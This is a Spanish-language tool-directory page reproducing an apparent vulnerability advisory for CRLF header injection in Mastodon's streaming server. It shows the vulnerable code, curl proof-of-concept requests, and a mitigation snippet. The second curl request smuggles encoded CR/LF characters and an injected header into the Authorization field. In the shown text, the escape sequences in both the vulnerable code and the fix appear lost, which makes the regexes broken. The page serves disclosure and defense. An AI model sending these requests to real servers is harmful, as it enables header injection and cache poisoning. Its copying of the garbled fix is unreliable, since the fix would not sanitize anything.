Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-Mastodon-Streaming-CRLF-Injection — Mastodon Streaming Server Security Vulnerability PoC - CVE-2026-Mastodon-Streaming-CRLF-Injection | Kitploit
Herramientas/GitHubGitHub/1402307692/cve-2026-mastodon-streaming-crlf-injection
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & Education
GitHub1402307692/cve-2026-mastodon-streaming-crlf-injection

CVE-2026-Mastodon-Streaming-CRLF-Injection

Mastodon Streaming Server Security Vulnerability PoC - CVE-2026-Mastodon-Streaming-CRLF-Injection

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver RepositorioSitio web
hace 4 mesesAún no revisado

CVE-2026-XXXXX: Inyección de cabeceras de respuesta HTTP (CRLF) en el servidor de streaming de Mastodon

Descripción general de la vulnerabilidad

ElementoDetalles
ID de CVECVE-2026-XXXXX
Producto afectadoMastodon (Streaming Server)
Versión afectada<= 4.5.9
Componentestreaming/index.js líneas 188-206
Tipo de vulnerabilidadHTTP Response Header Injection / CRLF Injection
CWECWE-74
CVSS 3.16.5 (Medium)
Vector de ataqueRed
Reportanteqitian [email protected]

Descripción de la vulnerabilidad

Cuando una solicitud de actualización WebSocket falla la autenticación, el servidor de streaming de Mastodon en streaming/index.js líneas 188-206 construye una respuesta HTTP manual y escribe errorMessage directamente en la cabecera de respuesta X-Error-Message a través de socket.end() SIN sanear los caracteres CR o LF.

Esto permite a un atacante remoto no autenticado inyectar cabeceras HTTP arbitrarias o realizar una división de respuestas HTTP (HTTP Response Splitting).

Código vulnerable (streaming/index.js líneas 188-206)

root@kitploit:~
const { statusCode, errorMessage } = extractErrorStatusAndMessage(err);
const headers = {
  'Connection': 'close',
  'Content-Type': 'text/plain',
  'Content-Length': 0,
  'X-Request-Id': request.id,
  'X-Error-Message': errorMessage   // NO CRLF sanitization
};
socket.end(
  `HTTP/1.1 ${statusCode} ${http.STATUS_CODES[statusCode]}
` +
  `${Object.keys(headers).map((key) => `${key}: ${headers[key]}`).join('
')}

`
);

Impacto

  • Inyección de cabeceras HTTP: inyectar cabeceras HTTP arbitrarias
  • División de respuestas HTTP: inyectar un segundo cuerpo de respuesta HTTP (envenenamiento de caché)
  • Divulgación de información: mensajes de error internos expuestos a usuarios no autenticados

Prueba de concepto

PoC 1 - Detección básica

root@kitploit:~
curl -i -X GET \
  -H "Upgrade: websocket" \
  -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  http://TARGET:4000/api/v1/streaming/user

Esperado: HTTP/1.1 401 Unauthorized, X-Error-Message: Missing access token

PoC 2 - Inyección CRLF

root@kitploit:~
curl -i -X GET \
  -H "Upgrade: websocket" \
  -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  -H "Authorization: Bearer test%0d%0aX-Injected: evil" \
  http://TARGET:4000/api/v1/streaming/user

Mitigación

Sanear errorMessage antes de escribirlo en la cabecera del socket:

root@kitploit:~
const sanitizedMessage = String(errorMessage || '')
  .replace(/
/g, '%0D')
  .replace(/
/g, '%0A');
// OR use Node.js res.setHeader() API which prevents header injection

Cronología

FechaEvento
2026-04-22Vulnerabilidad descubierta y PoC creado
2026-04-22Informe de CVE enviado a MITRE / VDB

Referencias

  • https://github.com/mastodon/mastodon
  • https://cwe.mitre.org/data/definitions/74.html

Aviso legal: Este PoC es solo con fines educativos y de investigación en seguridad.

Descargar herramienta